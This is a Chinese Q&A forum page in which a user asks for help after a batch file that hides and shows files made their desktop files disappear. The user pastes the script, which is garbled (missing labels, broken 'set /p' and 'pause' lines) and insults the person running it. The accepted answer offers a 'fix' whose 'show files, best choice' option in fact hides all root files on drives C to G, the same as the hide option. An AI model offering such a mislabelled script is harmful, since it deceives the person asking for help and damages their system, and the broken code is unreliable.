永发信息网

无意运行文件后, 电脑出毛病了。

答案:1  悬赏:80  手机版
解决时间 2021-05-07 06:23
  • 提问者网友:不爱我么
  • 2021-05-06 14:35

是这样的, 刚才呢,电脑插进去移动硬盘,里边什么也没有,然后我就搜了搜问题, 有人给我了些程序,让我写在笔记本里运行BAT格式, 然后我复制之后就把该文件弄到移动硬盘,  一运行,他让选1 2 3  1显示隐藏文件 2隐藏文件 好像是这样的,

然后我选的1  就好了。

 

然后我就悲剧了, 我很好奇啊 , 我就仔细看了看程序,看到的意思是如果不是输入的1 或者2 3 就输出 笨蛋,连1 2 3都输入不明白,你还活个屁呀!

 

结果,我就一直试  还真是, 最后我无意间按了个好像是2吧,  结果在做面上运行的,  做面上除了就什么也没有了 。  我开里边的显示也不管用,  我又重写了个,  结果那个文件不能用了,,,

文件程序如下

 

echo ++++              2、显示文件               ++++
echo ++++              3、退出程序               ++++
echo ++++++++++++++++++++++++++++++++++++++++++++++++
echo ++++++++++++++++++++++++++++++++++++++++++++++++
set mian=
set p main=                       
if I %main%==1 goto yincang
if I %main%==2 goto xianshi
if I %main%==3 exit
if not defined name (goto bendan)
yincang
cls
echo ++++++++++++++++++++++++++++++++++++++++++++++++
echo ++++++++++++++++++++++++++++++++++++++++++++++++
echo ++++          程序处理中,请稍候...         ++++
echo ++++++++++++++++++++++++++++++++++++++++++++++++
echo ++++++++++++++++++++++++++++++++++++++++++++++++
attrib +r +s +h . S D
goto exit
xianshi
cls
echo ++++++++++++++++++++++++++++++++++++++++++++++++
echo ++++++++++++++++++++++++++++++++++++++++++++++++
echo ++++          程序处理中,请稍候...         ++++
echo ++++++++++++++++++++++++++++++++++++++++++++++++
echo ++++++++++++++++++++++++++++++++++++++++++++++++
attrib -r -s -h . S D
goto exit
bendan
cls
echo   笨蛋,连1 2 3都输入不明白,你还活个屁呀!
pausenul
cls
goto main
exit
echo ++++++++++++++++++++++++++++++++++++++++++++++++
echo ++++++++++++++++++++++++++++++++++++++++++++++++
echo ++++     程序处理完毕,按任意键退出本程序   ++++
echo ++++++++++++++++++++++++++++++++++++++++++++++++
echo ++++++++++++++++++++++++++++++++++++++++++++++++
pausenul 

 

 

求高人啊 。。

最佳答案
  • 五星知识达人网友:执傲
  • 2021-05-06 15:22

可以试试下边这个,不能用包换。


@echo off
:start
cls
ECHO ================================
ECHO 请选择要进行的操作,然后按回车
ECHO ————————————————
echo 1、隐藏文件, 慎用!!!
echo.
echo 2、显示文件,最好选我!!
echo.
echo 3、退出程序
echo.
set /p UserSelection=选择 ( 1 , 2 ,3)
if not "%UserSelection%"=="1" (
if not "%UserSelection%"=="2" (
if not "%UserSelection%"=="3" (
pause
goto start
)))
set b=%1
if "%UserSelection%"=="1" (
attrib +a +s +r +h C:\*.*
attrib +a +s +r +h D:\*.*
attrib +a +s +r +h E:\*.*
attrib +a +s +r +h F:\*.*
attrib +a +s +r +h G:\*.*
pause
goto start
)
if "%UserSelection%"=="2" (
attrib +a +s +r +h C:\*.*
attrib +a +s +r +h D:\*.*
attrib +a +s +r +h E:\*.*
attrib +a +s +r +h F:\*.*
attrib +a +s +r +h G:\*.*
pause
goto start
)
if "%UserSelection%"=="3" (
exit
)
exit


 

我要举报
如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
点此我要举报以上问答信息
大家都在看
推荐资讯